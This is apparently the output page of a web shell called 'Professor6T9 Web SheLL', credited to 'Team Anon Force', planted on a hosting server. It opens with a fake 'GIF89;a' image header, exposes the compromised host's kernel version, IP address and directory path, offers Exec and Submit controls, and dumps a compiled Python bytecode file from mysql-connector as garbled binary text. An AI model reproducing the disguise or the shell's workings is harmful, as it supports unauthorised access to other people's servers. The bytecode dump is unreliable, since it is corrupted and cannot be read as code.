GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux host69.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Apache
68.65.123.79
/
opt
/
hc_python
/
lib64
/
python3.12
/
site-packages
/
mysql
/
connector
/
fabric
/
__pycache__
[ HOME ]
Exec
Submit
balancing.cpython-312.pyc
� ���g � �B � d Z ddlZd� Z G d� de� Z G d� de� Zy)zImplementing load balancing� Nc � � t | |z dz j t j d� t j �� � S )z%Calculate ratio Returns int �d �1)�rounding)�int�quantize�decimal�Decimal�ROUND_HALF_DOWN)�part�wholes �w/opt/hc_python/lib64/python3.12/site-packages/../../../lib/python3.12/site-packages/mysql/connector/fabric/balancing.py�_calc_ratior sB � � ��U� �3��(�(������w�'>�'>� )� @� A� A� c �B � e Zd ZdZd� Zd� Zd� Zed� � Zed� � Z y)�BaseSchedulingzABase class for all scheduling classes dealing with load balancingc � � g | _ g | _ y)� InitializeN)�_members�_ratios��selfs r �__init__zBaseScheduling.__init__+ s � ��� ���r c � � t �)aH Set members and ratios This methods sets the members using the arguments passed. Each argument must be a sequence where the second item is the weight. The first element is an identifier. For example: ('server1', 0.6), ('server2', 0.8) Setting members means that the load will be reset. If the members are the same as previously set, nothing will be reset or set. If no arguments were given the members will be set to an empty list. Raises ValueError when weight can't be converted to a Decimal. ��NotImplementedError)r �argss r �set_memberszBaseScheduling.set_members0 s � �"